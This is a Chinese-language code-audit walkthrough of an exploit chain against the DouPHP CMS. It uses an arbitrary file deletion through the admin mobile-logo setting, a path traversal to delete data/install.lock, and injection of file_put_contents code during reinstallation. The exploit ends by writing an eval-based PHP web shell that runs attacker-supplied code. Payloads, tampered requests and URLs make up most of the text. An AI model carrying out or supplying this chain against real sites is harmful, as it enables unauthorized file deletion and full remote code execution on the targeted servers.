1.进入douphp的安装界面
www.douphp.com/install/
由此可知安装界面已经被锁定了,但是由于install.lock是可控的,删除了install.lock后即可进行安装,所以我们现在的目的就是找到怎么去删除install.lock的方法。
要删除目标网站的任意文件,需要先寻找任意文件删除漏洞。所以我们需要找到能被我们控制的删除函数,删掉指定的文件。在php中,可以通过unlink函数来删除文件。用seay源代码审计系统全局搜索含有unlink函数的文件,
2.代码审计
(1)输入unlink( 进行全局搜索
(2)ID=1、2、3......挨个找可以删除的可控变量
ID=1
均为常量,不可控
ID=2
存在变量$sql_filename,且$sql_filename这个变量输出参数时要被is_backup_file处理,所以鼠标右键定位函数is_backup_file后进行查询
发现这个时个正则表达式,且后缀名要为.sql所以与我们要用的目标文件不符合
ID=3
这里需要的也是.sql后缀名的文件,与目标文件不符
以此类推
ID=6
$mobile_logo = $dou->get_one("SELECT value FROM " . $dou->table('config') . " WHERE name = 'mobile_logo'");
这行代码的意思是在字段中获取mobile_logo的值
table()表示给表名加个前缀
由这个路径可知mobile.php是在admin下面,所以需要登录后台
(3)登录后台找到admin/mobile.php
www.douphp.com/admin/mobile.php
(4)上传文件
在点击删除LOGO时可以查看到删除LOGO的连接为
www.douphp.com/admin/mobile.php?rec=system&act=clear_logo
(5)将ulink()函数写为exit()函数查看删除路径
?@ exit(ROOT_PATH . M_PATH . '/theme/' . $_CFG['mobile_theme'] . '/images/' . $mobile_logo);
exit()函数表示 — 输出一个消息并且退出当前脚本
这里输出的消息就是文件路径
点击删除LOGO后会出现
这里便查出文件路径为
D:/phpstudy_pro/WWW/douphp-master/douphp/m/theme/default/images/logo.png
由于我们需要删除的目录在/data/install.lock,所以需要一级一级的进行跳转,比如使用
$a=”../”?//这里的$a就表示返回上级目录
我们需要将/m/theme/default/images/logo.png变为/data/install.lock
该值是从数据库中读取的,那么就需要设法将数据库中,mobile_logo字段的值改为
D:/phpstudy_pro/WWW/douphp-master/douphp/data/install.lock
所以现在的问题变成了怎么将mobile_logo字段的值改为D:/phpstudy_pro/WWW
/douphp-master/douphp/data/install.lock
(6)继续分析源代码
这里代码的意思就相当于:
update config set value=$value where name=$name;
在变量name=$name时将config里面的value值更新为$value
这里目标就是将$value替换成D:/phpstudy_pro/WWW/douphp-master/douphp/data
/install.lock
将$name替换成mobile_logo
这里的foreach ($_POST as $name => $value)
Foreach表示遍历数组
$name表示键
$value表示值
(6)查看更新源代码
由此可知当满足$act=’updata’?时即可执行foreach ($_POST as $name => $value)
?因此现在的问题是如何在$act=’updata’?时绕过if()代码从而执行foreach代码
(7)用burp抓包
点击提交
这里name="mobile_description"表示键
DouPHP,DouPHP触屏版表示值
把name="mobile_description"改为name="mobile_logo"
DouPHP,DouPHP改为../../../../data/install.lock
放包
点击删除logo触发提交的事件后
出现这个表示删除成功
点击下一步在数据库名这里输入
${file_put_contents($_GET[1],$_GET[2])}
点击安装
表示写入成功
执行代码
http://www.douphp.com/data/config.php?1=666.php&2=%20%3C?php%20eval($_REQUEST[8])%20?%3E
则会创建一个666.php的php文件
里面的内容为
?<?php eval($_REQUEST[8]) ?>
输入http://www.douphp.com/data/666.php?8=phpinfo();
显示出这个页面时则执行成功